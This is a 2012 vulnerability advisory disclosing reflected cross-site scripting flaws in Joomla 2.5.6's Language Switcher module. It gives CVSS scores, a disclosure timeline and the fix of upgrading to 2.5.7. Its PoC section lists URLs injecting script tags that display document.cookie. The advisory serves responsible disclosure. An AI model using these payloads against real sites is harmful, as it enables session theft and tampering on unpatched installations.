Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities

2012.11.01
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Advisory: Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities Advisory ID: SSCHADV2012-014 Author: Stefan Schurtz Affected Software: Successfully tested on Joomla 2.5.6 Vendor URL: http://www.joomla.org/ Vendor Status: fixed ========================== Vulnerability Description ========================== With activated "Module Language Switcher . position-4" (Extensions -> Modules -> Module Manager: Module Language Switcher), multiple XSS are possible. ================== PoC-Exploit ================== // with default sample content http://[target]/joomla/index.php/image-gallery/"><script>alert(document.cookie)</script>/25-koala http://[target]/joomla/index.php/image-gallery/"><script>alert('xss')</script>/25-koala http://[target]/joomla/index.php/image-gallery/animals/25-"><script>alert(document.cookie)</script> http://[target]/joomla/index.php/image-gallery/animals/25-"><script>alert('xss')</script> ========= Solution ========= Upgrade to version 2.5.7 ==================== Disclosure Timeline ==================== 28-Jun-2012 - vendor informed (security@joomla.org) 05-Jul-2012 - vendor informed again (security@joomla.org) 13-Sep-2012 - fixed by vendor ======== Credits ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References =========== http://developer.joomla.org/security/news/540-20120902-core-xss-vulnerability http://www.darksecurity.de/advisories/2012/SSCHADV2012-014.txt

References:

http://www.osvdb.org/83490
http://www.openwall.com/lists/oss-security/2012/10/19/4
http://www.openwall.com/lists/oss-security/2012/10/07/3
http://www.joomla.org/announcements/release-news/5463-joomla-2-5-7-released.html
http://www.darksecurity.de/advisories/2012/SSCHADV2012-014.txt
http://secunia.com/advisories/49678
http://developer.joomla.org/security/news/540-20120902-core-xss-vulnerability


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